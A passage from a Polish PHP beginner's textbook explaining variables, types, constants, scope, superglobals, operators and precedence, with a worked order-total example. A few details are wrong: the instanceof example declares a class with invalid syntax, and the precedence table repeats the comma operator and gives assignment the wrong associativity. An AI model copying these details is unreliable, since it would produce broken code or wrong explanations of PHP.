utworzona po pierwszym przypisaniu jej wartości. Więcej na ten temat w następnym podrozdziale.

Wartości są przyporządkowane zmiennym za pomocą operatora przypisania: =. Na stronie Janka


należy obliczyć całkowitą liczbę części zamówionych przez klienta oraz ich wartość. W celu prze-
chowania tych wartości trzeba utworzyć dwie zmienne. Eleganckim sposobem jest zainicjowanie
każdej z nich poprzez przypisanie im zera. W tym celu na końcu skryptu PHP należy dodać nastę-
pujące wiersze:
$ilosc = 0;
$wartosc = 0.00;

Każdy z tych dwóch wierszy tworzy zmienną i przypisuje jej dosłowną wartość. Można również
przyporządkować zmiennym wartości innych zmiennych, jak w poniższym przykładzie:
$ilosc = 0;
$wartosc = $ilosc;

Typy zmiennych
Typ zmiennej odnosi się do rodzaju danych w niej zapisanych. PHP udostępnia cały zestaw typów
danych. Dane różnego rodzaju mogą być przechowywane przy użyciu różnych typów danych.
Rozdział 1.  Podstawowy kurs PHP 45

Typy danych w PHP


PHP rozpoznaje następujące typy danych:
 Integer — stosowany dla liczb całkowitych;
 Float (zwany również Double) — stosowany dla liczb rzeczywistych;
 String — stosowany dla łańcucha znaków;
 Boolean — stosowany w przypadku wartości true lub false;
 Array — stosowany do przechowywania wielu danych (zobacz rozdział 3.);
 Object — stosowany do przechowywania obiektów (zobacz rozdział 6.).

Dostępne są również trzy specjalne typy danych: NULL, resource oraz callable.

Zmienne, którym nie nadano wartości, które nie są ustawione lub którym nadano wartość NULL, są
typu NULL. Pewne funkcje wbudowane (na przykład funkcje obsługi baz danych) zwracają zmienne
typu resource.

Reprezentują one zasoby zewnętrzne (na przykład połączenie z bazą danych). Niemal na pewno
nigdy nie będziecie operować bezpośrednio na zmiennych typu resource, lecz są one często zwra-
cane przez funkcje i muszą być przekazywane do innych funkcji jako ich parametry.

Dane typu callable są w zasadzie funkcjami, które mogą być przekazywane do innych funkcji.

Siła typu
Typy w PHP są słabo zaznaczone. W większości języków programowania, na przykład w C,
zmienne mogą przechowywać tylko jeden typ danych, który musi zostać zadeklarowany przed ich
użyciem. W PHP typ zmiennej jest określany przez dane do niej przypisane.

Na przykład kiedy zmienne $ilosc i $wartosc zostały zadeklarowane powyżej, nastąpiło również
określenie ich początkowego typu:
$ilosc = 0;
$wartosc = 0.00;

Ponieważ $ilosc przypisano 0, liczbę całkowitą, jest ona w tym momencie zmienną typu integer.
Podobnie $wartosc jest zmienną typu float.

Co dziwniejsze, do powyższego skryptu można dodać następujące wiersze:


$wartosc = 'Cześć';

Zmienna $wartosc jest teraz typu string. PHP dostosowuje typ zmiennej do danych przechowy-
wanych w niej w danym momencie.

Zdolność do niewidocznej zmiany typów „w locie” może okazać się niezwykle przydatna. Należy
pamiętać, że PHP „wie”, jaki typ danych zostaje umieszczony w zmiennej. Zwróci on dane o tym
samym typie przy odzyskiwaniu ich ze zmiennej.
46 Część I  Stosowanie PHP

Rzutowanie typu
Stosując rzutowanie typu, można udawać, że zmienna bądź wartość są innego typu niż w rzeczy-
wistości. Sposób ten działa identycznie jak w C. Należy po prostu podać w nawiasach przed wła-
ściwą zmienną nazwę pożądanego typu.

Można na przykład zadeklarować dwie zmienne z poprzedniego punktu za pomocą rzutowania.


$ilosc = 0;
$wartosc = (float)$ilosc;

Drugi wiersz oznacza: „Weź wartość zapisaną w $ilosc, zinterpretuj ją jako float i zapisz
w $wartosc”. Zmienna $wartosc jest w tym wypadku typu float. Rzutowane zmienne nie zmieniają
typu, a zatem $ilosc pozostaje typem integer.

Można także użyć wbudowanej funkcji służącej do sprawdzania i ustawiania konkretnego typu,
która zostanie przedstawiona w dalszej części tego rozdziału.

Zmienne zmiennych
PHP dostarcza zmiennych jeszcze jednego typu, zwanych zmiennymi zmiennych. Pozwalają one na
dynamiczną zmianę nazwy zmiennej.

Jak widać, PHP daje dużo swobody w tej dziedzinie. Wszystkie języki pozwalają na zmianę
wartości zmiennej, lecz niewiele umożliwia zmianę jej typu, a jeszcze mniej — zmianę nazwy.

Zmienna zmiennej działa poprzez użycie wartości jednej zmiennej jako nazwy drugiej. A oto
przykład:
$nazwazmiennej = "iloscopon";

Można teraz użyć zmiennej $$nazwazmiennej zamiast $iloscopon. Przykładowo można nadać
wartość $iloscopon w następujący sposób:
$$nazwazmiennej = 5;

Oznacza to dokładnie to samo, co:


$iloscopon = 5;

Metoda ta wydaje się nieco niejasna, lecz w dalszej części książki zostanie omówiona dokładniej.
Zamiast wypisywania i oddzielnego używania każdej ze zmiennych formularza można użyć
pętli i zmiennej do automatycznego przetworzenia ich wszystkich. W podrozdziale poświęconym
pętli for, znajdującym się w dalszej części rozdziału, podaliśmy przykład zastosowania tej metody.

Deklarowanie i używanie stałych


Jak już wspomnieliśmy, możliwa jest zmiana wartości przypisanej do zmiennej. Można zadekla-
rować również stałe. Podobnie jak zmienna, stała przechowuje pewną wartość, lecz jest ona
przypisana jednorazowo i nie może być zmieniona w żadnym innym miejscu skryptu.

W przykładowej aplikacji można przechować ceny każdej sprzedawanej części jako stałe. Defi-
niuje się je, stosując funkcję define:
Rozdział 1.  Podstawowy kurs PHP 47

define("CENAOPON", 100);
define("CENAOLEJU", 10);
define("CENASWIEC", 4);

Powyższe wiersze należy dodać do kodu skryptu. W ten sposób w przykładowej aplikacji będą
istnieć teraz trzy stałe, które będą mogły zostać użyte do obliczenia wartości zamówienia klienta.

Łatwo zauważyć, że nazwy stałych są zapisane w całości wielkimi literami. Jest to konwencja
zapożyczona z C, która pozwala na łatwe odróżnienie zmiennych od stałych. Nie ma ona charak-
teru obligatoryjnego, lecz jej stosowanie czyni kod łatwiejszym do odczytania i utrzymania.

Jedna z ważnych różnic pomiędzy stałymi i zmiennymi polega na tym, że przy odwołaniu do stałej
nie umieszcza się przed jej nazwą znaku dolara, lecz jedynie samą nazwę. Na przykład aby użyć
jednej z powyższych stałych, można napisać:
echo CENAOPON;

Oprócz stałych zdefiniowanych przez użytkownika PHP tworzy dużą liczbę własnych stałych.
Prostym sposobem na ich obejrzenie jest użycie polecenia phpinfo():
phpinfo();

Polecenie to da wynik w postaci listy predefiniowanych przez PHP zmiennych i stałych, jak i innych
pożytecznych informacji. Niektóre z nich zostaną wyjaśnione w dalszej części książki.

Jeszcze jedna różnica między zmiennymi i stałymi polega na tym, że stałe mogą przechowywać
jedynie dane typów boolean, integer, float lub string. Typy te ogólnie nazywa się mianem warto-
ści skalarnych.

Zasięg zmiennych
Termin zasięg odnosi się do części skryptu, w której widoczna jest dana zmienna. Istnieje sześć
podstawowych typów zasięgów w PHP:
 Wbudowane zmienne superglobalne są widoczne w całym skrypcie.
 Stałe, po ich zadeklarowaniu, są zawsze widoczne globalnie. Oznacza to, że można ich
używać zarówno wewnątrz, jak i na zewnątrz funkcji.
 Zmienne globalne zadeklarowane w skrypcie są widoczne w całym skrypcie, ale nie
wewnątrz funkcji.
 Zmienne używane w obrębie funkcji, które są deklarowane jako globalne, odnoszą się
do zmiennej globalnej o tej samej nazwie.
 Zmienne utworzone wewnątrz funkcji i zadeklarowane jako statyczne są niewidoczne
na zewnątrz funkcji, lecz zachowują swą wartość w czasie między wykonaniem tej
i następnej funkcji (więcej na ten temat w rozdziale 5.).
 Zmienne utworzone wewnątrz funkcji są jej zmiennymi lokalnymi i kończą swój żywot
w momencie zakończenia wykonywania tej funkcji.

Tablice $_GET i $_POST, a także niektóre inne specjalne zmienne, posiadają własne zasady rządzące
ich zasięgiem. Są to tak zwane zmienne superglobalne i mogą być widoczne wszędzie — zarów-
no wewnątrz funkcji, jak i poza nimi.
48 Część I  Stosowanie PHP

Kompletna lista zmiennych superglobalnych przedstawia się następująco:


 $GLOBALS — tablica wszystkich zmiennych globalnych (podobnie jak słowo kluczowe global
pozwala ona wewnątrz funkcji na dostęp do zmiennych globalnych, na przykład jako
$GLOBALS['mojazmienna']),
 $_SERVER — tablica zmiennych środowiskowych serwera,
 $_GET — tablica zmiennych przekazanych do skryptu metodą GET,
 $_POST — tablica zmiennych przekazanych do skryptu metodą POST,
 $_COOKIE — tablica zmiennych cookie,
 $_FILES — tablica zmiennych związanych z ładowaniem pliku,
 $_ENV — tablica zmiennych środowiskowych,
 $_REQUEST — tablica wszystkich zmiennych wprowadzonych przez użytkownika, właczając
w to zawartość wprowadzonych zmiennych znajdujących się w $_GET, $_POST i $_COOKIE
(już bez zmiennej $_FILES).
 $_SESSION — tablica zmiennych sesji.

Każdy z wymienionych typów zmiennych superglobalnych zostanie omówiony w dalszych czę-


ściach książki, gdy zaczniemy go używać.

Zasięg omówimy dokładniej w dalszej części tego rozdziału, przy okazji opisu funkcji i klas. Do tego
czasu wszystkie używane zmienne będą z definicji globalne.

Używanie operatorów
Operatory to symbole używane do manipulowania wartościami i zmiennymi poprzez wykonywanie
na nich operacji. Niektóre będą potrzebne do obliczenia wartości i podatku od zamówienia klienta.

Dwa z nich zostały już opisane — operator przypisania (=) i operator łączenia łańcuchów znaków
(.). W następnym punkcie przedstawiona zostanie ich pełna lista.

Ogólnie rzecz biorąc, operatory działają na jednym, dwóch bądź trzech argumentach, przy
czym większość — na dwóch. Na przykład operator przypisania ingeruje w dwa — miejsce prze-
chowywania po lewej stronie symbolu = i wyrażenie po prawej stronie. Argumenty te są nazywane
operandami, to znaczy wartościami, na których się operuje.

Operatory arytmetyczne
Operatory arytmetyczne działają na bardzo prostej zasadzie — są zwykłymi operatorami mate-
matycznymi. Zostały one przedstawione w tabeli 1.1.

Dla każdego z tych operatorów można zapisać wynik działania. Na przykład:


$wynik = $a + $b;

Dodawanie i odejmowanie działa tak, jak należy się tego spodziewać. Wynikiem działań jest, od-
powiednio, dodawanie bądź odejmowanie wartości zapisanych w zmiennych $a i $b.
Rozdział 1.  Podstawowy kurs PHP 49

Tabela 1.1. Operatory arytmetyczne w PHP

Operator Nazwa Przykład


+ Suma $a + $b

- Różnica $a - $b

* Iloczyn $a * $b

/ Iloraz $a / $b

% Modulo $a % $b

Można również użyć symbolu różnicy (-) jako operatora jednoargumentowego — tzn. takiego,
który posługuje się tylko jednym argumentem lub operandem — w celu oznaczenia liczb ujem-
nych. Na przykład:
$a = -1;

Mnożenie i dzielenie również działa w przeważającej liczbie wypadków tak, jak należy się tego
spodziewać. Warto jedynie zauważyć symbol gwiazdki jako operator iloczynu, zamiast symbolu
zwykle stosowanego, oraz symbol ukośnika jako operator ilorazu, również w miejsce symbolu
standardowego.

Operator reszty zwraca pozostałość po podzieleniu zmiennej $a przez zmienną $b. Należy rozwa-
żyć następujący fragment kodu:
$a = 27;
$b = 10;
$wynik = $a%$b;

Wartość zachowana w zmiennej $wynik jest resztą z dzielenia 27 przez 10; wynosi ona 7.

Należy zauważyć, że operatory arytmetyczne są zazwyczaj używane ze zmiennymi typu integer


bądź double. Przy zastosowaniu ich do zmiennej typu string PHP spróbuje przekonwertować
łańcuch znaków na liczbę. Jeżeli zawiera on wyrażenie e lub E, zostanie on odczytany w notacji
inżynierskiej i przekonwertowany na float, w przeciwnym wypadku — na integer. PHP będzie
szukał cyfr na początku łańcucha i użyje ich jako wartości, jeżeli zaś nie znajdzie żadnych,
wartość łańcucha wyniesie zero.

Operatory łańcuchowe
Powyżej omówiliśmy przykład zastosowania jedynego operatora łańcuchowego. Operatora łączenia
(konkatenacji) używa się do dodawania łańcuchów oraz tworzenia i przechowywania wyniku
w podobny sposób, jak w przypadku operatora sumy, aby dodać dwie cyfry.
$a = "Części samochodowe ";
$b = 'Janka';
$wynik = $a.$b;

Zmienna $wynik zawiera teraz łańcuch "Części samochodowe Janka".

Operatory przypisania
Opisany już został podstawowy operator przypisania (=). Symbol = zawsze traktuje się jako operator
przypisania i należy go odczytywać: „jest przypisana wartość”. Na przykład:
$ilosc = 0;
50 Część I  Stosowanie PHP

Powyższa instrukcja powinna być przeczytana następująco: „zmiennej $ilosc jest przypisana
wartość zero”. Powody tego zostaną podane w dalszej części rozdziału, podczas opisywania operato-
rów porównania.

Wartości zwracane podczas przypisywania


Zastosowanie operatora przypisania zwraca wartość ogólną, podobnie jak w wypadku innych
operatorów. Dla kodu
$a + $b

wartością wyrażenia jest wynik dodawania zmiennych $a i $b. Podobnie, dla


$a = 0;

wartość wyrażenia wynosi zero.

Technika ta pozwala na tworzenie wyrażeń takich jak:


$b = 6 + ($a = 5);

Działanie to spowoduje przypisanie zmiennej $b wartości 11. Ogólna zasada działania operatorów
przypisania polega na tym, że wartością całego wyrażenia jest wartość przypisana lewemu
operandowi.

Jak pokazano powyżej, podczas obliczania wartości wyrażenia można, identycznie jak w mate-
matyce, używać nawiasów w celu ustanowienia kolejności wykonywania poszczególnych części
wyrażenia.

Łączone operatory przypisania


Oprócz powyższych prostych przypisań istnieje zbiór łączonych operatorów przypisania. Każdy
z nich to skrócony sposób zapisu operacji przeprowadzonej na zmiennej i przypisanego do niej
wyniku tej operacji. Na przykład zapis:
$a += 5;

jest równoznaczny z:
$a = $a + 5;

Istnieją łączone operatory przypisania dla każdego operatora arytmetycznego i dla operatora łączenia
łańcuchów. Zestawienie wszystkich łączonych operatorów przypisania wraz z ich wynikami jest
przedstawione w tabeli 1.2.

Tabela 1.2. Łączone operatory przypisania w PHP

Operator Przykład użycia Równoznaczne z


+= $a += $b $a = $a + $b

-= $a -= $b $a = $a - $b

*= $a *= $b $a = $a * $b

/= $a /= $b $a = $a / $b

%= $a %= $b $a = $a % $b

.= $a .= $b $a = $a . $b
Rozdział 1.  Podstawowy kurs PHP 51

Pre- i postinkrementacja oraz dekrementacja


Operatory pre- i postinkrementacji (++) oraz dekrementacji (--) są podobne do operatorów += i -=,
występują jednak pewne różnice.

Wszystkie operatory inkrementacji wywołują dwa efekty — powiększają i przypisują wartość.


Należy rozważyć następujący zapis:
$a=4;
echo ++$a;

Drugi wiersz zawiera operator preinkrementacji — nazywany tak, ponieważ symbol ++ pojawia się
przed znakiem $a. Operator ten, po pierwsze, zwiększa $a o 1, a po drugie — zwraca powiększoną
wartość. W tym przypadku wartość zmiennej $a rośnie do 5, po czym zostaje ona zwrócona i wy-
drukowana. Wartość całego wyrażenia wynosi 5 (należy zauważyć, że nie zostaje zwrócona wartość
$a + 1, lecz na stałe zwiększona wartość $a).

Natomiast gdy symbol ++ występuje po $a, użyty zostanie operator postinkrementacji, co daje
odmienny rezultat. Rozważmy następujący zapis:
$a=4;
echo $a++;

W tym przypadku efekty zostają odwrócone. Po pierwsze, zwrócona i wydrukowana zostaje war-
tość $a, która później ulega powiększeniu. Wartość całego wyrażenia wynosi 4, i właśnie ona zostaje
zwrócona. Natomiast po wykonaniu tej instrukcji wartość $a zostanie zwiększona do 5.

Jak łatwo się domyślić, działanie operatora -- (dekrementacji) jest podobne, lecz wartość $a zostaje
zmniejszona, a nie zwiększona.

Operatory referencji
Operator referencji (&, czyli ampersand), może być stosowany w połączeniu z przypisaniem.
W większości przypadków, kiedy jedna zmienna jest przypisywana do drugiej, zostaje utworzona
kopia pierwszej zmiennej, zapisana w drugiej. Na przykład:
$a = 5;
$b = $a;

Powyższe wiersze kodu tworzą kopię wartości zmiennej $a i zapisują ją w $b. Jeżeli później zostanie
zmieniona wartość $a, $b nie ulegnie modyfikacji:
$a = 7; // $b łańcuch będzie miało wartość 5

Można uniknąć tworzenia kopii, stosując operator referencji, &. Na przykład:


$a = 5;
$b = &$a;
$a = 7; // Zarówno $a jak i $b mają wartość 7

Odwołania mogą sprawiać nieco kłopotów. Należy pamiętać, że odwołanie jest rodzajem nazwy
zastępczej (określanej potocznie mianem aliasu), a nie wskaźnikiem. Z tego względu $a i $b
wskazują na ten sam fragment pamięci. Można to zmienić, usuwając jedną z tych zmiennych w na-
stępujący sposób:
unset($a);

Usunięcie jej nie spowoduje zmiany wartości zmiennej $b (7), lecz zniszczy połączenie między
zmienną $a i wartością 7 przechowywaną w pamięci.
52 Część I  Stosowanie PHP

Operatory porównań
Operatorów porównań używa się w celu porównania dwóch wartości. Wyrażenia, w których
występują te operatory, zwracają jedną z dwóch wartości logicznych, true lub false, zależnie od
wyniku porównania.

Operator równości
Operator równości, symbol == (dwa znaki równości) pozwala na sprawdzenie równości dwóch
wartości. Na przykład można zastosować wyrażenie:
$a == $b

aby sprawdzić, czy wartości zmiennych $a i $b są sobie równe. Wynik zwrócony przez to wyrażenie
będzie wynosił true, jeżeli są równe, lub false, jeżeli nie.

Łatwo jest pomylić ten znak z symbolem =, operatorem przypisań. Takie wyrażenie zadziała bez
zwrócenia błędu, lecz raczej nie da pożądanego wyniku. Ogólnie rzecz biorąc, wartości niezerowe są
przyjmowane jako true, a zerowe jako false. Przy założeniu, że zmienne zostały zainicjowane
w następujący sposób:
$a = 5;
$b = 7;

Testowanie za pomocą wyrażenia $a = $b zwróci wynik true. Dzieje się tak dlatego, że wartość
$a = $b jest wartością przypisaną do lewej strony tego wyrażenia, która w tym wypadku wynosi 7.
Jest to wartość niezerowa, tak więc wyrażenie zostaje przyjęte jako true. Jeżeli założeniem było
przetestowanie $a == $b, którego wynikiem jest false, został wprowadzony do kodu błąd logiczny,
niekiedy bardzo trudny do odnalezienia. Należy zawsze sprawdzać, czy zastosowany został właści-
wy operator.

Użycie operatora przypisania zamiast operatora porównania jest błędem, który łatwo popełnić i który
zdarza się niejednokrotnie w karierze każdego programisty.

Inne operatory porównań


PHP rozpoznaje również kilka innych operatorów porównań; wszystkie zostały przedstawione
w tabeli 1.3. Operatorem godnym szczególnej uwagi jest operator identyczności (===), który
zwraca wartość true tylko wtedy, gdy dwa operandy są równe i należą do tego samego typu. Na
przykład wyrażenie 0=='0' będzie miało wartość true, lecz 0==='0' będzie już równe false, ponie-
waż pierwsze zero jest typu integer, a drugie jest łańcuchem znaków string.

Operatory logiczne
Operatory logiczne stosuje się w celu uzyskania wyników operacji logicznych. Aby na przykład
ustalić, czy wartość zmiennej $a mieści się w zakresie od 0 do 100, należy sprawdzić warunki
$a >= 0 i $a <= 100, stosując operator AND:
$a >= 0 && $a <= 100

PHP rozpoznaje warunki logiczne AND, OR, XOR (wyłączne OR) i NOT.

Wszystkie operatory logiczne zostały przedstawione w tabeli 1.4.


Rozdział 1.  Podstawowy kurs PHP 53

Tabela 1.3. Operatory porównań w PHP

Operator Nazwa Przykład użycia


== Równość $a == $b

=== Identyczność $a === $b

!= Nierówność $a != $b

!== Nieidentyczność $a !== $b

<> Nierówność (operator porównania) $a <> $b

< Mniejszość $a < $b

> Większość (operator porównania) $a > $b

<= Mniejszość lub równość $a <= $b

>= Większość lub równość $a >= $b

Tabela 1.4. Operatory logiczne w PHP

Operator Nazwa Przykład użycia Wynik


! NOT !$b Zwraca true, jeżeli $b wynosi false, i vice versa
&& AND $a && $b Zwraca true, jeżeli zarówno $a i $b są true, w przeciwnym wypadku
false

|| OR $a || $b Zwraca true, jeżeli $a lub $b, lub oba są true, w przeciwnym wypadku
false

and AND $a and $b Tak samo jak &&, lecz z mniejszym pierwszeństwem
or OR $a or $b Tak samo jak ||, lecz z mniejszym pierwszeństwem
xor XOR $a xor $b Zwraca true, jeżeli $a albo $b wynosi true, oraz false, jeżeli obie
zmienne mają wartość true albo obie mają wartość false.

Operatory and i or posiadają mniejsze pierwszeństwo niż operatory && i ||. Zasady pierwszeństwa
zostaną opisane szerzej w dalszej części tego rozdziału.

Operatory bitowe
Operatory bitowe pozwalają na traktowanie zmiennej typu integer jako ciągu bitów użytych do
jej przedstawienia. W PHP operatory bitowe nie mają wprawdzie zbyt szerokiego zastosowania,
lecz mimo to ich zestawienie przedstawione jest w tabeli 1.5.

Pozostałe operatory
Oprócz operatorów opisanych powyżej istnieje jeszcze kilka innych.

Przecinek (,), jest stosowany do oddzielania argumentów funkcji i innych list składników.

Dwa operatory specjalne, new i ->, są używane odpowiednio do tworzenia obiektów klas i dostępu
do składowych klasy. Zostaną one opisane w rozdziale 6.

Istnieje poza tym kilka innych typów operatorów, które zostaną krótko scharakteryzowane poniżej.
54 Część I  Stosowanie PHP

Tabela 1.5. Operatory bitowe w PHP

Operator Nazwa Przykład użycia Wynik


& Bitowe AND $a & $b Ustawione bity, które były ustawione w $a i $b
| Bitowe OR $a | $b Ustawione bity, które były ustawione w $a lub $b
~ Bitowe NOT ~$a Ustawione bity, które nie były ustawione w $a,
i vice versa
^ Bitowe XOR $a ^ $b Ustawione bity, które były ustawione w $a lub $b,
lecz nie w obu
<< Przesunięcie w lewo $a << $b Przesuwa $a w lewo o $b bitów
>> Przesunięcie w prawo $a >> $b Przesuwa $a w prawo o $b bitów

Operator trójkowy
Operator trójkowy, symbol ?:, działa według następującego wzoru:
warunek ? wartość, jeżeli prawdziwy : wartość, jeżeli fałszywy

Operator trójkowy jest podobny do wersji wyrażenia instrukcji if – else, które opiszemy w dalszej
części tego rozdziału.

Oto prosty przykład:


($stopien > 50 ? 'Pozytywny' : 'Negatywny');

To wyrażenie dzieli stopnie studentów na „pozytywny” i „negatywny”.

Operator tłumienia błędów


Operator tłumienia błędów, symbol @, może być zastosowany na początku każdego wyrażenia,
to znaczy wszystkiego, co ma bądź tworzy wartość. Na przykład:
$a = @(57/0);

Bez operatora @ ten wiersz wygeneruje ostrzeżenie o dzieleniu przez zero (warto spróbować). Kiedy
operator występuje, błąd zostaje stłumiony.

Przy stosowaniu takiego tłumienia ostrzeżeń należy stosować kod obsługujący błędy, aby sprawdzić,
kiedy wystąpiło ostrzeżenie. Jeżeli w konkretnym egzemplarzu PHP w pliku php.ini jest włą-
czona opcja track_errors, komunikat o błędzie będzie przechowywany w zmiennej globalnej
$php_errormsg.

Operator wykonania
Operator wykonania to w istocie para operatorów (``). Symbol ten można znaleźć zazwyczaj na
tym samym klawiszu, co tyldę (~).

PHP będzie próbował wykonać dowolny kod zawarty pomiędzy tymi symbolami, interpretując go
jako polecenie wykonywane w wierszu poleceń serwera. Wartością wyrażenia jest wynik polecenia.
Rozdział 1.  Podstawowy kurs PHP 55

Na przykład dla systemów uniksowych polecenie może wyglądać następująco:


$out = `ls –la`;
echo '<pre>'.$out.'</pre>';

Dla serwera Windows to samo polecenie jest następujące:


$out = `dir c:`;
echo '<pre>'.$out.'</pre>';

Każde z tych poleceń utworzy wydruk katalogów i zapisze go w zmiennej $out. Może on być
później wyświetlony przez przeglądarkę lub obrabiany w dowolny sposób.

Istnieją również inne sposoby wykonywania poleceń przy użyciu serwera. Zostaną one opisane
w rozdziale 17.

Operatory tablicowe
Istnieje szereg operatorów tablicowych. Operatory elementu tablicy ([]) umożliwiają uzyskanie
dostępu do elementów tablicy. W kontekście niektórych tablic można także używać operatora =>.
Operatory te zostaną bliżej przedstawione w rozdziale 3.

Można również używać wielu innych operatorów tablicowych. Zostaną one również szczegółowo
opisane w rozdziale 3., lecz dla kompletności wywodu zostaną przedstawione także poniżej.

Nietrudno zauważyć, że wszystkie operatory tablicowe przedstawione w tabeli 1.6 mają od-
powiadające sobie operatory działające na zmiennych skalarnych. Wystarczy tylko zapamiętać,
że + wykonuje operację dodawania na danych skalarnych i unię na tablicach — nawet jeśli nie
przejawia się szczególnego zainteresowania zasadami arytmetyki różniącymi te dwa działania
— a działanie operatorów szybko nabierze sensu. Nie istnieje natomiast możliwość użytecznego
porównywania tablic z danymi skalarnymi.

Tabela 1.6. Operatory tablicowe w PHP

Operator Nazwa Przykład użycia Wynik


+ Unia $a + $b Zwraca tablicę zawierającą wszystkie elementy tablic $a i $b
== Równość $a == $b Zwraca wartość true, jeśli $a i $b mają te same pary kluczy
i wartości
=== Identyczność $a === $b Zwraca wartość true, jeśli $a i $b mają te same pary kluczy
i wartości, ułożone w tej samej kolejności
!= Nierówność $a != $b Zwraca wartość true, jeśli $a i $b nie są sobie równe
<> Nierówność $a <> $b Zwraca wartość true, jeśli $a i $b nie są sobie równe
!== Nieidentyczność $a !== $b Zwraca wartość true, jeśli $a i $b nie są identyczne

Operator typu
Dostępny jest jeden operator typu: instanceof. Jest on używany w programowaniu zorientowanym
obiektowo, lecz wspominamy o nim tutaj dla zapewnienia kompletności wywodu (programowanie
zorientowane obiektowo zostanie szerzej opisane w rozdziale 6.).

Operator instanceof pozwala na sprawdzanie, czy obiekt jest egzemplarzem konkretnej klasy,
na przykład:
56 Część I  Stosowanie PHP

class przykladowaKlasa();
$mojObiekt = new przykladowaKlasa();
if ($mojObiekt instanceof przykladowaKlasa)
echo "mojObiekt jest egzemplarzem klasy przykladowaKlasa";

Obliczanie sum w formularzu


Znając sposób stosowania operatorów, można obliczyć sumy i podatki w formularzu zamówień
Janka. Aby to zrobić, należy dodać na końcu skryptu PHP następujący fragment kodu:
$ilosc = 0;
$ilosc = $iloscopon + $iloscoleju + $iloscswiec;
echo "<p>Zamówionych części: ".$ilosc."<br />";

$wartosc = 0.00;

define('CENAOPON', 100);
define('CENAOLEJU', 10);
define('CENASWIEC', 4);

$wartosc = $iloscopon * CENAOPON


+ $iloscoleju * CENAOLEJU
+ $iloscswiec * CENASWIEC;

echo "Cena netto: ".number_format($wartosc, 2)." PLN<br />";

$stawkavat = 0.22; // stawka VAT wynosi 22%


$wartosc = $wartosc * (1 + $stawkavat);
echo "Cena brutto: ".number_format($wartosc, 2)." PLN</p>";

Po odświeżeniu zawartości strony w oknie przeglądarki powinien pojawić się wynik podobny do
przedstawionego na rysunku 1.5.

Rysunek 1.5.
Wszystkie sumy
dla zamówienia klienta
zostały obliczone,
sformatowane
i wyświetlone

Jak łatwo zauważyć, w powyższym kodzie zastosowano kilka operatorów. Użyto operatorów su-
my (+) i iloczynu (), aby obliczyć wartość, oraz operatora łączenia łańcuchów (.) w celu sfor-
matowania wyniku dla przeglądarki.
Rozdział 1.  Podstawowy kurs PHP 57

Zastosowano również funkcję number_format(), aby sformatować sumy jako łańcuch znaków
z dwoma miejscami po przecinku. Funkcja ta pochodzi z biblioteki matematycznej (Math) PHP.

Po bliższym przyjrzeniu się obliczeniom można zastanawiać się, dlaczego zostały one wykonane
właśnie w takim porządku. Rozważmy na przykład następującą instrukcję:
$wartosc = $iloscopon * CENAOPON
+ $iloscoleju * CENAOLEJU
+ $iloscswiec * CENASWIEC;

Całkowita wartość wydaje się poprawna, ale dlaczego operacje mnożenia zostały wykonane przed
dodawaniem? Otóż należy zwrócić uwagę na pierwszeństwo operatorów, to znaczy porządek,
w którym są one brane pod uwagę.

Pierwszeństwo i kolejność
Ogólnie rzecz biorąc, operatory posiadają zdefiniowane pierwszeństwo, czyli porządek, w jakim
są obliczane. Operatory posiadają również kolejność, to znaczy porządek, w którym są obliczane
operatory o takim samym pierwszeństwie. Generalnie istnieją trzy rodzaje kolejności: od lewej
do prawej (nazywane w skrócie lewą), od prawej do lewej (nazywane w skrócie prawą), a do niektó-
rych operatorów kolejność w ogóle nie odnosi się.

Tabela 1.7 przedstawia pierwszeństwo i kolejność operatorów w PHP. W tabeli tej operatory o naj-
niższym pierwszeństwie umieszczone są na szczycie, a pierwszeństwo wzrasta w miarę prze-
mieszczania się w dół tabeli.

Tabela 1.7. Pierwszeństwo operatorów w PHP

Kolejność Operatory
Lewa ,

Lewa or

Lewa xor

Lewa and

Prawa print

Lewa = += -= *= /= .= %= &= |= ^= ~= <<= >>=

Lewa ? :

Lewa ||

Lewa &&

Lewa |

Lewa ^

Lewa &

Nie odnosi się == != === !==

Nie odnosi się < <= > >=

Lewa << >>

Lewa + - .
58 Część I  Stosowanie PHP

Tabela 1.7. Pierwszeństwo operatorów w PHP (ciąg dalszy)

Kolejność Operatory
Lewa ,

Lewa * / %

Prawa !

Nie odnosi się instanceof

Prawa ~ (int) (double) (string) (array) (object) @

Nie odnosi się ++ --

Prawa [ ]

Nie odnosi się clone new

Nie odnosi się ()

Należy zauważyć, że operatorem o najwyższym pierwszeństwie jest ten, o którym jeszcze nic nie
zostało powiedziane — zwyczajne nawiasy. Efektem tego operatora jest podniesienie pierwszeń-
stwa dowolnego kodu zawartego pomiędzy nawiasami. W razie konieczności to sposób na omi-
nięcie reguł pierwszeństwa.

Przypomnijmy sobie fragment ostatniego przykładu:


$wartosc = $wartosc * (1 + $stawkavat);

Jeżeli powyższy wiersz wyglądałby tak:


$wartosc = $wartosc * 1 + $stawkavat;

to operator iloczynu, posiadający wyższe pierwszeństwo niż operator dodawania, zostałby wyko-
nany wcześniej, i w związku z tym całe wyrażenie dałoby nieprawidłowy wynik. Stosując nawiasy,
można wymusić wcześniejsze obliczenie wyrażenia 1 + $stawkavat.

W wyrażeniu można zastosować dowolną liczbę nawiasów. Jako pierwsze obliczone zostaną te
najbardziej wewnętrzne.

Należy zwrócić uwagę na jeszcze jeden operator z tej tabeli, o którym dotąd nie wspomniano:
konstrukcję print, stanowiącą odpowiednik instrukcji echo. Obydwie konstrukcje generują dane
wyjściowe.

Generalnie w tej książce używamy instrukcji echo, lecz można też używać instrukcji print, jeśli
okaże się to bardziej czytelne. Ani print, ani echo nie są tak naprawdę funkcjami, obie jednak
można wywoływać tak jak funkcje: podając parametry w nawiasach. Obydwie można również trak-
tować podobnie jak operatory: wystarczy tylko umieścić przetwarzany łańcuch znaków za słowem
kluczowym echo lub print.

Jeśli wywołamy print jak funkcję, zwróci ona wartość (1). Własność ta może okazać się użyteczna,
gdy dane wyjściowe będą miały być generowane wewnątrz bardziej złożonego wyrażenia, lecz
z drugiej strony print jest wolniejsza niż echo.
Rozdział 1.  Podstawowy kurs PHP 59

Funkcje zarządzania zmiennymi


Aby zakończyć eksplorację świata zmiennych i operatorów, należy jeszcze przedstawić funkcje
zarządzające zmiennymi w PHP. Jest to biblioteka funkcji służących do uzyskiwania informacji
na temat zmiennych i wykonywania różnych operacji na nich.

Sprawdzanie i ustawianie typów zmiennych


Większość funkcji zarządzających zmiennymi jest związana ze sprawdzaniem ich typu. Dwie
najbardziej ogólne funkcje to gettype() i settype(). Poniżej przedstawione zostały prototypy tych
funkcji, czyli argumenty przez nie wymagane i wyniki przez nie zwracane:
